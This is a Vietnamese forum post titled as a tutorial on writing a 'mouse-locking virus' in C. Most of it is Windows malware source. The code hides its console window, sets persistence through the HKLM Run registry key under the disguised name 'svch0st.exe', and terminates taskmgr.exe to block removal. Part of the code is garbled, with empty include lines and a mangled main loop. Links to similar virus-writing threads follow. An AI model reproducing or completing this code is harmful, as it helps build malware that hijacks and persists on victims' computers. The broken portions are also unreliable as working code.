Lập trình virus trên C - viết virus khóa chuột
Trang 1 trong tổng số 1 trang
Lập trình virus trên C - viết virus khóa chuột
- Code:
#include
#include
#include
#include
#include
#define BUFSIZE 90
int test_key(void);
int create_key(char *);
int kill(void);
BOOL KillProcess(LPSTR lpszExecutable)
{
BOOL bResult = FALSE;
PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
HANDLE hProcess, hProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(Process32First(hProcesses, &pe32)){
do{
if(CompareString(LOCALE_USER_DEFAULT, NORM_IGNORECASE, pe32.szExeFile, -1, lpszExecutable, -1) == CSTR_EQUAL){
if((hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID)) != NULL){
TerminateProcess(hProcess, 0); CloseHandle(hProcess); bResult = TRUE;
}
}
}while(Process32Next(hProcesses, &pe32));
CloseHandle(hProcesses);
}
return bResult;
}
int main(void)
{
int test,create;
test=test_key();
if (test==2)
{
char *path="c:\\WINDOWS\\svch0st.exe";
create=create_key(path);
}
HWND inv;
AllocConsole();
inv=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(inv,0);
int c;
for(c=0;c<999999999999;c++) buf_length="BUFSIZE;" reg_key="RegOpenKeyEx(HKEY_LOCAL_MACHINE," check="1;" reg_key="RegQueryValueEx(hKey,">BUFSIZE))
check=2;
if(reg_key==0)
check=0;
RegCloseKey(hKey);
return check;
}
int create_key(char *path)
{
int reg_key,check;
HKEY hkey;
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"Windows files",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;
return check;
}
int kill(void)
{
return KillProcess("taskmgr.exe");
}
Similar topics
» Kỳ 2 Lập Trình virus giả mạo thư mục
» Virus xuất hiện trên các website lớn, tại sao ?
» Hướng Dẫn Viết Virus Đơn Giản
» Kỳ 1 Lập trình virus với VC++
» Lập trính Virus (st)
» Virus xuất hiện trên các website lớn, tại sao ?
» Hướng Dẫn Viết Virus Đơn Giản
» Kỳ 1 Lập trình virus với VC++
» Lập trính Virus (st)
Trang 1 trong tổng số 1 trang
Permissions in this forum:
Bạn không có quyền trả lời bài viết
27/8/2013, 11:45 am by echcondihoc
» Quản Lí Tiến Trình Dùng Thư Viện PSAPI
11/10/2011, 9:42 pm by CNTT_DH
» xin tai lieu tieng viet
31/8/2011, 6:59 am by bantoisg
» Theo dõi tiến trình
27/8/2011, 5:51 pm by haigaopro01
» Giải pháp Bảo mật của Cisco
17/6/2011, 8:50 am by admin
» Nghiên cứu và đưa ra giải pháp phòng chống tấn công DoS, DDoS (Phần 1)
16/6/2011, 2:32 pm by admin
» Learn to hack !
16/6/2011, 8:49 am by admin
» Giải pháp hệ thống dành cho doanh nghiệp với thiết bị mạng Fortinet (Phần 1)
15/6/2011, 11:12 am by admin
» Ô Long Viên (Tập II)
27/9/2010, 4:56 pm by root
» những ebook về hack tiếng việt cho người mới tìm hiểu.
27/9/2010, 4:54 pm by root